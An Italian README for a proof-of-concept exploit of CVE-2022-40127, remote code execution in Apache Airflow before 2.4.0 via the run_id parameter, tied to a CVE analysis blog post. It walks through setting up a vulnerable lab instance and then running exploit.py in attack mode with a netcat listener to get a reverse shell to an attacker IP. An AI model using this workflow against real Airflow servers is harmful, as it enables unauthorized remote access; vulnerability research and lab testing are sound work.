
Exploit proof-of-concept per CVE-2022-40127 che mira alla RCE di Apache Airflow tramite parametro run_id modificato, con consegna automatizzata di shell inversa.
PoC per CVE-2022-40127, una vulnerabilità RCE di Apache Airflow che interessa le versioni precedenti alla 2.4.0.
La descrizione del report ufficiale dice:
Una vulnerabilità negli Example Dags di Apache Airflow consente a un attaccante con accesso all'interfaccia utente, che può attivare i DAG, di eseguire comandi arbitrari tramite il parametro run_id fornito manualmente. Questo problema interessa le versioni di Apache Airflow precedenti alla 2.4.0.
Il repository è stato creato per un post del blog di analisi CVE disponibile sul blog vsociety.
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
Puoi clonare il repository:
git clone https://github.com/jakabakos/CVE-2022-40127.git
Scarica il file docker-compose dal repository ufficiale
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
Esegui Airflow
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
In questo caso sia il nome utente che la password saranno airflow.
Basandosi sulle istruzioni di installazione ufficiali:
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
Puoi verificare se l'installazione è andata a buon fine con i comandi which airflow e/o airflow info.
Esegui Airflow
airflow standalone
Consulta la password e il nome utente generati nei log.
Prima, installa i pacchetti richiesti con pip:
pip3 install -r requirements.txt
Consulta le opzioni disponibili con:
python3 exploit.py --help
Puoi verificare se l'host può essere sfruttato o meno:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
Configura un listener locale per la reverse shell in un'altra sessione del terminale:
nc -lvnp 4242
Esegui lo script in modalità attacco con questo comando:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
Dovresti vedere la connessione entro un minuto circa.
